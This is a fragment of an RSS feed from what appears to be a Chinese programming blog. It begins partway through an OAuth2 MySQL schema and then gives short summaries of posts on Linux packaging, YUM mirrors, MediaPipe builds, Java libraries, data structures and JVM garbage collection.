`access_token_scopes` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, `oidc_id_token_value` blob NULL, `oidc_id_token_issued_at` timestamp(0) NULL DEFAULT NULL, `oidc_id_token_expires_at` timestamp(0) NULL DEFAULT NULL, `oidc_id_token_metadata` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, `refresh_token_value` blob NULL, `refresh_token_issued_at` timestamp(0) NULL DEFAULT NULL, `refresh_token_expires_at` timestamp(0) NULL DEFAULT NULL, `refresh_token_metadata` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; CREATE TABLE `oauth2_authorization_consent` ( `registered_client_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `principal_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `authorities` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, PRIMARY KEY (`registered_client_id`, `principal_name`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; CREATE TABLE `oauth2_registered_client` ( `id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `client_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `client_id_issued_at` timestamp(0) NOT NULL DEFAULT CURRENT_TIMESTAMP(0), `client_secret` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, `client_secret_expires_at` timestamp(0) NULL DEFAULT NULL, `client_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `client_authentication_methods` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `authorization_grant_types` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `redirect_uris` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, `scopes` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `client_settings` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `token_settings` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; 先进行认证服务器相关配置 pom.</description>
    </item>
    <item>
      <title>Simulink-过零检测与代数环</title>
      <link>https://bchobby.github.io/posts/0e2d6630dbccb7b7443511dfb1193e14/</link>
      <pubDate>Sat, 07 Jan 2023 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e2d6630dbccb7b7443511dfb1193e14/</guid>
      <description>过零检测 过零检测即通过Simulink为模块注册若干过零函数，当模块变化趋势剧烈时，过零函数将会发生符号变化。每个采样点仿真结束时，Simulink检测过零函数是否有符号变化，如果检测到过零点，则Simulink将在前一个采样点和目前采样点之间内插值。&#xA;以下列出了Simulink 中支持过零检测的模块。&#xA;Abs 一个过零检测:检测输入信号沿上升或下降方向通过零点&#xA;Backlash 两个过零检测:一个检测是否超过上限阈值，另一个检测是否超过下限阈值&#xA;Dead Zone 两个过零检测:一个检测何时进入死区，另一个检测何时离开死区&#xA;Hit Crossing —个过零检测:检测输人何时通过阈值&#xA;Integrator 若提供了Reset端口，则检测何时发生Reset;若输出有限，则有3个过零检测，即检测&#xA;何时达到上限饱和值、检测何时达到下限饱和值和检测何时离开饱和区&#xA;MinMax 对于输出向量的每个分量，当输入信号是新的最小值或新的最大值时，进行检测&#xA;Relay 一个过零检测:若Relay是 off状态，则检测开启点:若是on状态，则检测关闭点&#xA;Relational Operator 一个过零检测:检测输出何时发生改变&#xA;Saturation 两个过零检测:一个检测何时达到或离开上限，另一个检测何时达到或离开下限&#xA;Sign 一个过零检测:检测输人何时通过零点&#xA;Step 一个过零检测:检测阶跃发生时间&#xA;Switch 一个过零检测:检测开关条件是否满足&#xA;Subsystem 用于有条件地运行子系统:一个使能端口，一个触发端口&#xA;代数环 如果Simulink 的输入依赖于模型中某一模块的输出，就会产生一个代数环，如图所示。这意味着无法进行仿真，因为没有输入就得不到输出，没有输出也得不到输入，形成了一个死循环。&#xA;解决代数环的办法有以下4种。&#xA;1、采用替代结构，尽量不形成代数环的结构。&#xA;2、为可以设置初始值的模块设置初值。&#xA;3、对于连续系统,在模块的输出一侧增加memory模块。&#xA;4、对于离散系统，在模块的输出一侧增加 unit delay模块。</description>
    </item>
    <item>
      <title>数据结构——红黑树</title>
      <link>https://bchobby.github.io/posts/ef3a7e91f8b3f1297e7c286316d2fd1f/</link>
      <pubDate>Fri, 06 Jan 2023 22:36:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef3a7e91f8b3f1297e7c286316d2fd1f/</guid>
      <description>目录&#xA;一、红黑树基本概念&#xA;1.缘起&#xA;2.概念&#xA;（1）基本定义&#xA;（2）结点结构体定义&#xA;（3）基本要求&#xA;（4）图示&#xA;（5）黑高 3.两个重要性质&#xA;4.时间复杂度&#xA;二、红黑树的基本操作&#xA;1.查找&#xA;2.插入&#xA;3.删除&#xA;一、红黑树基本概念 1.缘起 由于平衡二叉树AVL的插入删除操作很容易破坏平衡特性，需要频繁调整树的形态。即：插入操作导致不平衡，则需要先计算平衡因子，找到最小不平衡子树（时间开销大），再进行LL/RR/LR/RL调整。&#xA;而红黑树RBT的插入删除操作很多时候不会破坏“红黑”特性，无需频繁调整树的形态。即便是需要调整，一般都可以在常数级时间内完成。&#xA;所以在以查为主、很少进行插入删除操作时选择平衡二叉树；如需频繁插入删除时用红黑树实用性更强。&#xA;2.概念 （1）基本定义 红黑树是二叉排序树，即左子树结点值&amp;lt;=根结点值&amp;lt;=右子树结点值；&#xA;（2）结点结构体定义 struct RBnode {&#x9;//红黑树的结点定义 int key;&#x9;//关键字的值 RBnode* parent;&#x9;//父结点指针 RBnode* lchild;&#x9;//左孩子指针 RBnode* rchild;&#x9;//右孩子指针 int color;&#x9;//结点颜色，如可用0/1表示黑/红，也可用枚举型enum表示颜色 }; （3）基本要求 ①每个结点或是红色，或是黑色；&#xA;②根结点是黑色的；&#xA;③叶结点均是黑色的；&#xA;④不存在两个相邻的红结点（即红结点的父结点和孩子结点均是黑色的）；&#xA;⑤对每个结点，从该结点到任一叶结点的简单路径上，所含黑结点的数量相同；&#xA;总结顺口溜：左根右，根叶黑，不红红，黑路同。&#xA;（4）图示 （5）黑高 ①结点的黑高bh——从某结点出发（不含该结点）到达任一空叶结点的路径上黑结点总数；&#xA;②根结点黑高为h的红黑树，内部结点数（关键字）至少有个，此时红黑树是“总共h层所有结点都是黑结点的满树形态”。&#xA;3.两个重要性质 （1）从根结点到叶结点的最长路径不大于最短路径的2倍；&#xA;（解释：从根结点到任一叶结点的路径都相同，但又要满足“不红红”，也就是极端情况为红结点穿插在每两个黑结点中间）&#xA;（2）有n个内部结点的红黑树高度;&#xA;4.时间复杂度 红黑树的查找操作的时间复杂度为。&#xA;二、红黑树的基本操作 1.查找 与BST、AVL相同，从根结点出发，左小右大，若查找到一个空叶结点，则查找失败；&#xA;2.插入 （1）先查找，确定插入位置（原理同二叉排序树），插入新结点；&#xA;（2）新结点是根结点的话，将其染为黑色；&#xA;（3）新结点不是根的话，将其染为红色：&#xA;①若插入新结点后依然满足红黑树的定义，则插入结束；</description>
    </item>
    <item>
      <title>RPM包制作（二）创建SPEC文件 -来自红帽原厂课件</title>
      <link>https://bchobby.github.io/posts/79a26997f03bb6ae505317d5d7e64bfc/</link>
      <pubDate>Fri, 06 Jan 2023 20:43:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79a26997f03bb6ae505317d5d7e64bfc/</guid>
      <description>创建Spec 文件 在Red Hat EnterpriseLinux 6上，vim有一个帮助创建规范文件的宏。只需传入一个以.spec结尾的文件名:&#xA;[user@host ~]$ vimsample.spec&#xA;Red Hat Enterprise Linux 6版本的vim将使用spec模板为RPM构建提供一些常见的条目。&#xA;Spec举例 下面是一个带注释的spec文件示例&#xA;%define debug一package %{nil} --①&#xA;%define product一family Red HatEnterprise Linux&#xA;%define release_name Santiago&#xA;%define base_release_version6&#xA;%define full_release_version6.0&#xA;%define beta Beta&#xA;Name: redhat-release --②&#xA;Version: ${base_release_version} --③&#xA;Release: 6.0.0.24%{?dist} --④&#xA;Summary: %{product_family}release file --⑤&#xA;Group: SystemEnvironment/Base&#xA;License:GPLV2&#xA;Obsoletes: rawhide-releaseredhat-release-as redhat-release-es redhat-release-ws --⑥&#xA;Source0: redhat-release-6-4.tar.gz --⑦&#xA;%description --⑧&#xA;%{product_family} releasefiles&#xA;%prep --⑨&#xA;%setup -q&#xA;%build --⑩</description>
    </item>
    <item>
      <title>deb dpkg fpm cpack debmake 打包</title>
      <link>https://bchobby.github.io/posts/0445c005b536784f97ab91c6fa6b8d52/</link>
      <pubDate>Fri, 06 Jan 2023 20:34:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0445c005b536784f97ab91c6fa6b8d52/</guid>
      <description>文章目录 deb 简介hello debfpmpreinst postinst prerm postrmcmake cpackdebmake deb 简介 deb: Linux发行版Debian系列(如Debian, Ubuntu等)的软件包格式, 没有自提取(Self-extracting), 不能直接运行, 需要借助dpkg等安装.&#xA;Dpkg: Debian Package Manager, Debian包管理器, 中间级工具(medium-level), 用于安装, 构建, 删除和管理Debian软件包. 还有更为前端和用户友好的包管理工具, CLI(命令行接口)工具对应apt, 可以从远程获取软件包以及处理复杂的软件包关系, TUI(终端用户界面)对应aptitude, aptitude比apt又友好了一些.&#xA;hello deb 写一个 hellodeb 的程序&#xA;#!/bin/bash cnt=0 while [ $cnt -lt 5 ]; do echo &#34;Hello, DEB, $cnt&#34; cnt=$((cnt+1)) done 加执行权限, 可以运行&#xA;$ chmod +x hellodeb $ ./hellodeb Hello, DEB, 0 Hello, DEB, 1 Hello, DEB, 2 Hello, DEB, 3 Hello, DEB, 4 写一个打包脚本 package.</description>
    </item>
    <item>
      <title>Linux-配置阿里云YUM源</title>
      <link>https://bchobby.github.io/posts/33d36492e880e5be422615353fe3c65e/</link>
      <pubDate>Fri, 06 Jan 2023 20:03:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33d36492e880e5be422615353fe3c65e/</guid>
      <description>条件：虚拟机能够上网。&#xA;基本步骤：&#xA;a.清理原有的YUM配置&#xA;b.前往 阿里巴巴开源镜像站 进行下载配置&#xA;c.更新YUM仓库&#xA;d.执行安装&#xA;1.清理原有的YUM配置 利用命令：cd /etc/yum.repos.d/ 利用命令：ls&#xA;查看原有的YUM配置。&#xA;利用命令：mv * /tmp/ 将原有的YUM配置移动到tmp路径下。&#xA;利用命令：ls 查看是否移动成功。&#xA;利用命令：vim /tmp/CentOS-Base.repo 查看文件中的内容。&#xA;我们会发现文件里会注明centos等官方字眼，证明这些文件是centos官方文件。&#xA;退出文件&#xA;2.下载基本和扩展配置 2.1下载基本配置 前往网站 阿里巴巴开源镜像站 下载配置&#xA;基本配置选择centos&#xA;复制命令：wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo 下载阿里基本配置。&#xA;命令解释：&#xA;wget 下载 ; O 后跟下载位置； /etc/yum.repos.d/ 下载路径；CentOS-Base.repo 库名；&#xA;https://mirrors.aliyun.com/repo/Centos-7.repo 下载库的链接位置（阿里云镜像网站）。&#xA;下载基本配置后，利用命令: ls和pwd 查看文件，发现路径下分别显示CentOS-Base.repo 和/etc/yum.repos.d&#xA;利用命令：vim CentOS-Base.repo 查看文件。&#xA;注意红色方框部分与前述的区别。&#xA;2.2下载扩展配置 扩展配置，选择epel&#xA;选择对应版本，复制链接到终端进行执行。&#xA;3.更新YUM仓库 利用命令：yum makecache 更新YUM仓库&#xA;4.执行安装 利用命令：yum repolist 查询安装的配置共有多少个软件包。&#xA;利用命令： yum install -y httpd 安装httpd服务</description>
    </item>
    <item>
      <title>C语言实现简单计算器。</title>
      <link>https://bchobby.github.io/posts/4834a87a4cea79bb081ec201acd8c8f5/</link>
      <pubDate>Fri, 06 Jan 2023 19:32:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4834a87a4cea79bb081ec201acd8c8f5/</guid>
      <description>一.普通方法 用C语言来实现一个简单的计算器。 #include &amp;lt;iostream&amp;gt; // 头文件 using namespace std; // 命名空间名称引入 // std 是 C++ 标准库的命名空间名，C++ 将标准库的定义实现都放在这个命名空间中 int Add(int x, int y) { return x + y; } int Sub(int x, int y) { return x - y; } int Mul(int x, int y) { return x * y; } int Div(int x, int y) { return x / y; } void menu() {// 打印菜单 cout &amp;lt;&amp;lt; &#34;****1,加法********************&#34; &amp;lt;&amp;lt; endl; cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>用html画一颗圣诞树</title>
      <link>https://bchobby.github.io/posts/be374b9e7c8adf33c42f00b532a5bef6/</link>
      <pubDate>Fri, 06 Jan 2023 17:32:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be374b9e7c8adf33c42f00b532a5bef6/</guid>
      <description>可以用HTML的div元素来画圣诞树，代码如下：&#xA;&amp;lt;div style=&#34;width: 200px; height: 300px; background-color: green;&#34;&amp;gt; &amp;lt;!-- 用其他HTML元素画出圣诞树上的装饰 --&amp;gt; &amp;lt;/div&amp;gt; 这样就可以画出一棵200像素宽，300像素高的绿色圣诞树。你也可以用CSS来调整圣诞树的外观。比如，可以使用border-radius属性来让圣诞树的边缘变得圆滑，使用box-shadow属性来给圣诞树增加阴影等等。</description>
    </item>
    <item>
      <title>【Java】使用POI按模板样式导出Excel</title>
      <link>https://bchobby.github.io/posts/d7ab0abb42196cf79a9f19923bc5d040/</link>
      <pubDate>Fri, 06 Jan 2023 17:32:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7ab0abb42196cf79a9f19923bc5d040/</guid>
      <description>一、场景 根据模板样式进行excel导出。&#xA;二、实现 首先，当然是要有一个excel模板，excel的样式用wps等进行设置。&#xA;然后就是代码的实现了，先引入POI的依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 然后就是实现方法里的代码，首先定义响应信息：&#xA;HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse(); // 设置响应类型 response.setContentType(&#34;application/vnd.ms-excel&#34;); // 设置字符编码 response.setCharacterEncoding(&#34;utf-8&#34;); // 设置响应头信息 response.setHeader(&#34;Content-Disposition&#34;, &#34;attachment; filename=&#34;文件名.xlsx&#34;, &#34;utf-8&#34;)); 然后将excel模板转为输入流，这一步的实现方法有很多，具体选择因人而异，我这里就举一个例子：&#xA;org.springframework.core.io.Resource resource = new ClassPathResource(&#34;templates/文件名.xlsx&#34;); @Cleanup InputStream inputStream = resource.getInputStream(); ServletOutputStream outputStream = response.getOutputStream(); 然后获取excel模板数据：&#xA;XSSFWorkbook workbook = new XSSFWorkbook(inputStream); // 传入上一步转换的输入流 Sheet sheet = workbook.getSheetAt(0); // 拿到excel模板的sheet页 我们得到excel模板数据后，肯定不是原模原样导出，否则直接io输出就好了。接下来就是操作excel模板数据，将它构造为我们要导出的excel，我这里仅组合一些常用的操作，具体操作根据个人情况自行组合：&#xA;/** * 修改某单元格的值，先获取y行再获取y行的x列，然后修改值 * * x(列,从0开始计数) * y(行,从0开始计数) * value(修改值) */ sheet.</description>
    </item>
    <item>
      <title>linux bazel构建mediapipe源码</title>
      <link>https://bchobby.github.io/posts/f5e9c9e8d46a97a97c39dceba33c4370/</link>
      <pubDate>Fri, 06 Jan 2023 17:14:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5e9c9e8d46a97a97c39dceba33c4370/</guid>
      <description>参考网址：&#xA;https://google.github.io/mediapipe/getting_started/install.html&#xA;记录一下debia上编译mediapipe的过程：&#xA;1.准备Bazelisk&#xA;sudo wget -O /usr/local/bin/bazel https://github.com/bazelbuild/bazelisk/releases/latest/download/bazelisk-linux-amd64&#xA;sudo chmod +x /usr/local/bin/bazel&#xA;2.源码下载：&#xA;$ cd $HOME&#xA;$ git clone https://github.com/google/mediapipe.git&#xA;# Change directory into MediaPipe root directory&#xA;$ cd mediapipe&#xA;我是手动下载的mediapipe-0.8.11.zip，🏠之后直接进入即可。&#xA;3.安装opencv&#xA;bash setup_opencv.sh&#xA;中间可能遇到opencv无法下载，多尝试几次&#xA;在opencv.sh中每次重来都会删除/tmp/build_opencv然后重新开始、&#xA;如下git下载缓慢，&#xA;git clone https://github.com/opencv/opencv_contrib.git&#xA;git clone https://github.com/opencv/opencv.git&#xA;可以有如下解决方案：&#xA;3.1.注释掉如下代码，然后自己手动下载这两个git放到对应的目录之后，重新运行&#xA;注释：&#xA;#rm -rf /tmp/build_opencv&#xA;#mkdir /tmp/build_opencv&#xA;#git clone https://github.com/opencv/opencv_contrib.git&#xA;#git clone https://github.com/opencv/opencv.git&#xA;然后bash setup_opencv.sh&#xA;3.2.将git命令改为从国内镜像下载：&#xA;git clone https://github.com/opencv/opencv_contrib.git --&amp;gt; git clone https://gitcode.net/opencv/opencv_contrib.git&#xA;git clone https://github.</description>
    </item>
    <item>
      <title>如何提升图片清晰度？有了这4个工具，高糊图片也能变清晰</title>
      <link>https://bchobby.github.io/posts/e598299d90268d9b23bc5e40a45bc282/</link>
      <pubDate>Fri, 06 Jan 2023 17:12:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e598299d90268d9b23bc5e40a45bc282/</guid>
      <description>网上的图片经过多次传播，有的就不是很清晰了，想要提高图片清晰度，可以试试这5个好用的图片修复工具，简单易操作，上传图片就能一键变清晰！&#xA;1、Bigjpg 一个AI智能图片无损放大工具，使用方便，上传图片之后它会将噪点和锯齿的部分进行补充，实现图片的无损放大。&#xA;它支持放大的倍数有2倍、4倍、8倍和16倍，其中放大2倍或者4倍是免费的，对于日常提高图片清晰度来说够用了。&#xA;处理的时候会显示预计处理时间，大概几分钟就能处理完成了，处理结束后将图片重新保存下来就好了。&#xA;给大家看一下无损放大后的效果，图片的尺寸变大，而且画质也变得更加清晰了。&#xA;2、改图鸭 一个综合的图片编辑处理在线工具，它里面的功能还挺丰富的，其中就包括照片修复的功能，使用方便，不需要注册登录，完全免费。&#xA;照片修复功能包括人脸模糊修复、老照片修复、黑白照片上色、图片降噪和图片去雾，选择你需要的功能之后，就可以上传图片了。&#xA;比如模糊人脸修复，上传图片之后自动修复照片，然后将图片保存到本地就可以了。&#xA;给大家看一下修复后的效果，还挺不错的，模糊的人脸变得很清晰。&#xA;3、Photokit 一个图片在线编辑工具，里面的编辑功能还挺多的，其中还包括画质增强功能，使用这个功能也可以提高图片的清晰度。&#xA;进入图片编辑界面之后，上传图片，然后在下面点击画质增强功能，画质增强之后点击保存按钮，将图片保存下来就好了。&#xA;用它增强图片画质的时候，图片的尺寸并不会放大，画质会变得清晰，但是不是特别明显。&#xA;4、图片编辑助手 一款简单易操作的图片编辑处理软件，它里面的图片编辑功能和图片处理功能还挺丰富的，它里面也有照片修复的功能，想要提高图片清晰度用它也不错。&#xA;进入照片修复功能后就可以看到所有的修复功能，包括老照片修复、图片无损放大、黑白照片上色、模糊人脸修复、图片降噪、过曝修复和图片去雾，根据自己的情况选择需要的功能就行。&#xA;想要提高图片清晰度就可以使用图片无损放大的功能，上传图片之后选择放大的倍数，放大之后将图片保存就好了。&#xA;我选择的是放大4倍，给大家看一下无损放大后的效果，还挺清晰的。&#xA;5、美图秀秀 一款图片美化处理手机APP，它里面也有画质增强的功能可以使用，打开美图秀秀进入首页，就可以看到画质增强功能了。&#xA;点击画质增强的功能，上传图片它就会自动进行处理，处理结束之后点击保存，画质增强后的图片就会保存到手机相册了。&#xA;在相册中就可以明显看到图片参数的变化，尺寸变大，占用的内存大小也变大了，图片画质也变得清晰了。&#xA;好了，以上就是可以提高图片清晰度的功能，在线工具、电脑软件和手机APP都有，大家可以根据自己的情况去选择使用。</description>
    </item>
    <item>
      <title>关于java:MybatisPlus多数据源使用多线程时失效的问题</title>
      <link>https://bchobby.github.io/posts/5b00260257921f50da660b7fe9d9a55f/</link>
      <pubDate>Fri, 06 Jan 2023 16:51:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b00260257921f50da660b7fe9d9a55f/</guid>
      <description> Mybatis-Plus多数据源应用也是极为不便，应用@DS注解即可。然而不论加在类上还是加在实现接口的办法上，均不能正确的找到对应的数据库，所有的线程都抓着主数据库不放。&#xA;几经周折，屡次试验，最终将多数据源的注解申明在了Callable实现类的call办法上，并且须要用编码的形式，设置以后线程数据源名称，并在以后线程执行完结后，再将其革除掉。&#xA;import com.baomidou.dynamic.datasource.annotation.DS; import com.baomidou.dynamic.datasource.toolkit.DynamicDataSourceContextHolder; @Override public Future&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; getTableOverview(CountDownLatch latch) { return executor.submit(new Callable&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt;() { @DS(&#34;slave&#34;) @Override public Map&amp;lt;String, Object&amp;gt; call() throws Exception { // 设置以后线程数据源 DynamicDataSourceContextHolder.push(&#34;slave&#34;); Map&amp;lt;String, Object&amp;gt; result; try { // 查询数据库办法 result = getTableData(); } finally { latch.countDown(); // 强制清空本地线程，避免内存透露，手动调用push可调用此办法确保革除 DynamicDataSourceContextHolder.clear(); } return result; } }); } </description>
    </item>
    <item>
      <title>解决问题Caused by: java.net.UnknownHostException</title>
      <link>https://bchobby.github.io/posts/a28e8b5e29e009c8d1046572267b5d57/</link>
      <pubDate>Fri, 06 Jan 2023 16:37:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a28e8b5e29e009c8d1046572267b5d57/</guid>
      <description>在Java中，&#34;java.net.UnknownHostException&#34; 异常表示无法解析主机名。这意味着你尝试连接的主机名无法解析为 IP 地址。可能的原因有：&#xA;主机名错误，请确保输入的主机名正确。网络连接问题，请检查网络是否连接正常。DNS 问题，请检查 DNS 服务器是否可以正常解析域名。 如果你无法解决这个问题，你可以尝试使用 IP 地址代替主机名。但是这可能会使你的代码变得不可移植，因为 IP 地址可能会改变。</description>
    </item>
    <item>
      <title>CMS垃圾回收器细节思考与补充</title>
      <link>https://bchobby.github.io/posts/6b2cc1181325b504dca0b46a123312b8/</link>
      <pubDate>Fri, 06 Jan 2023 15:57:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b2cc1181325b504dca0b46a123312b8/</guid>
      <description>CMS垃圾回收器作为jdk6、jdk7、jdk8等jdk版本对老年代进行垃圾回收的首选，其重要性不言而喻。深入理解CMS垃圾回收器的各个阶段存在的价值对于性能调优非常关键。&#xA;CMS的正常过程 参考博客3给出了CMS垃圾回收器的7个步骤：&#xA;1. 初始标记(CMS-initial-mark) ,会导致stw；&#xA;2. 并发标记(CMS-concurrent-mark)，与用户线程同时运行；&#xA;3. 预清理（CMS-concurrent-preclean），与用户线程同时运行；&#xA;4. 可被终止的预清理（CMS-concurrent-abortable-preclean） 与用户线程同时运行；&#xA;5. 重新标记(CMS-remark) ，会导致stw；&#xA;6. 并发清除(CMS-concurrent-sweep)，与用户线程同时运行；&#xA;7. 并发重置状态等待下次CMS的触发(CMS-concurrent-reset)，与用户线程同时运行。&#xA;总的来说，CMS核心目标是缩短stop-the-world的时间，以快速响应业务。为此，CMS采用两次（初始标记和重新标记）短停顿来代替一次长停顿。上述步骤中的1和5即为两次stw，其他步骤则是用户线程和GC线程并发执行。接下来结合参考博客1逐一对上述步骤进行分析：&#xA;1、（STW）初始标记：这个阶段是标记从GCRoots直接可达的老年代对象，以及新生代直接引用的老年代对象，就是下图中灰色的点。这个过程是单线程的（JDK7之前单线程，JDK8之后并行，可以通过参数CMSParallelInitialMarkEnabled调整）。&#xA;由图可知，初始标记只是标记出了GCRoots直接可达的老年代对象，因而此次停顿时间通常很短。PS：在Java语言里，可作为GC Roots对象的包括如下几种：&#xA;虚拟机线程栈(栈桢中的本地变量表)中的引用的对象 ；方法区中的类静态属性引用的对象 ；方法区中的常量引用的对象 ； 本地方法栈中JNI的引用的对象。 2、并发标记：由上一个阶段标记过的对象，开始tracing过程，标记所有可达的对象，这个阶段垃圾回收线程和应用线程同时运行，如上图中的灰色的点。在并发标记过程中，应用线程还在跑，因此会导致有些对象会从新生代晋升到老年代、有些老年代的对象引用会被改变、有些对象会直接分配到老年代，这些受到影响的老年代对象所在的card会被标记为dirty，用于重新标记阶段扫描。这个阶段过程中，老年代对象的card被标记为dirty的可能原因，就是下图中绿色的线：&#xA;上图中绿色的线其实对应了四种情况，这四种情况在参考博客2中已经进行了总结：&#xA;新生代对象晋升到老年代新生代新创建的对象（Eden区）引用了原先老年代未被标记的对象直接在老年代分配的对象老年代对象的引用关系发生变化 为了提高重新标记的效率,该阶段会把上述对象所存在的card标记为dirty，后续只需要扫描dirty card对应的对象。&#xA;其中情况1、3、4都非常容易理解，但不知道读者对于情况2是如何理解的呢？情况2对应的就是上图中被标记的Eden区的对象1指向老年代的2。试想一下，在经过初始标记（stw）之后，老年代的2既不是GCRoots直接可达，也不是新生代直接引用的对象，那么在并发标记期间，引用了对象1的那个线程（取名为：线程A）是如何获取到对象2的引用并赋值给对象1的呢？前面已经介绍过了，GC Roots包括了线程栈中引用的对象，如果线程A保存了对象2的引用，那么对象2就应该在初始标记时被标记出来，但现在的情况是对象2在初始标记时没有被标记为可达。&#xA;这个疑惑也困扰了我很久，尝试从各种博客或者介绍JVM虚拟机的书籍中寻找答案，最终都无功而返。一种可能的猜测是：线程A在初始标记前直接引用了老年代的对象3（图中未给出示意），而对象3又引用了图中的对象2。那么在初始标记之后，对象3被标记为直接可达，而对象2未被标记。在并发标记期间，线程A在Eden区新创建了一个对象1，然后对象3将对象2赋值给对象1，接着对象3取消了对于对象2的引用。在这样的情形下，我们可以说新生代新创建的对象引用了原先老年代未被标记的对象。&#xA;PS：图中还有一个连线被打了个叉，表示在并发标记期间，新生代取消了对老年代对象的引用。对于这样的对象，垃圾回收器可能有两种选择：第一，取消对老年代对象的标记；第二，仍然认为该对象可达，在本轮垃圾回收过程中不被回收，而是在下一轮垃圾回收时再确定是否回收。由于有可能不止一个年轻代的对象引用该老年代对象，不能因为单个引用取消就直接将老年代对象的标记取消，因而个人猜测垃圾回收器会采取方案二。&#xA;3、预清理：预清理，也是用于标记老年代存活的对象，目的是为了让重新标记阶段的STW尽可能短。这个阶段的目标是在并发标记阶段被应用线程影响到的老年代对象，包括：（1）老年代中card为dirty的对象；（2）幸存区(from和to)中引用的老年代对象引用的老年代对象。因此，这个阶段也需要扫描新生代+老年代。此外，参考博文1中还提到“根据源码猜测不会扫描Eden区的对象”。对此，我们来分析其合理性。由前面的猜测可知，在初始标记之后，Eden区新创建的对象在并发标记期间引用老年代未被标记过的对象的概率是非常小的。此外，由后面的介绍可知，在重新标记阶段，还会再次对Eden区进行扫描，因而预清理阶段对Eden区进行扫描不仅费时，且收益微乎其微。&#xA;4、可中断的预清理：这个阶段的目标跟“预清理”阶段相同，也是为了减轻重新标记阶段的工作量。可中断预清理的价值有二：其一，在进入重新标记阶段之前尽量等到一个Minor GC，以缩短重新标记阶段的停顿时间（stw）；其二，默认的可中断预清理会在Eden达到50%的时候开始，这时候离下一次minor gc还有半程的时间，这就可以避免避免短时间内连着的两个停顿（stw）。&#xA;在预清理步骤后，如果满足下面两个条件的任意一个，就不会开启可中断的预清理，而直接进入重新标记阶段：&#xA;Eden的使用空间小于“CMSScheduleRemarkEdenSizeThreshold”，这个参数的默认值是2M；Eden的使用率大于等于“CMSScheduleRemarkEdenPenetration”，这个参数的默认值是50%。 这两个参数的含义是：预清理后，eden空间使用超过2M时才启动可中断的并发预清理（CMS-concurrent-abortable-preclean），低于2M则没有执行的必要，直到eden空间使用率达到50%时则中断“可中断的预清理”阶段，进入重新标记remark阶段。&#xA;如果上面两个条件都不满足，则进入可中断的预清理，可中断预清理可能会执行多次，那么退出这个阶段的出口有两个：&#xA;设置了CMSMaxAbortablePrecleanLoops，并且执行的次数超过了这个值，这个参数的默认值是0，表示不限制执行次数；&#xA;CMSMaxAbortablePrecleanTime，执行可中断预清理的时间超过了这个值，这个参数的默认值是5000毫秒。&#xA;有可能可中断预清理过程中一直没等到Minor gc，这时候进入重新标记阶段的话，新生代还有很多活着的对象，就回导致STW变长，因此CMS还提供了CMSScavengeBeforeRemark参数，可以在进入重新标记之前强制进行一次Minor gc。&#xA;5、（STW）重新标记（并发）：重新扫描堆中的对象，进行可达性分析，标记活着的对象。这个阶段扫描的目标是：新生代的对象 + GC Roots + 前面被标记为dirty的card对应的老年代对象。如果预清理的工作没做好，这一步扫描新生代的时候就会花很多时间，导致这个阶段的停顿时间过长。&#xA;这里需要补充一下，为什么说预清理工作能减少重新标记的停顿时间：重新扫描新生代对象和GC 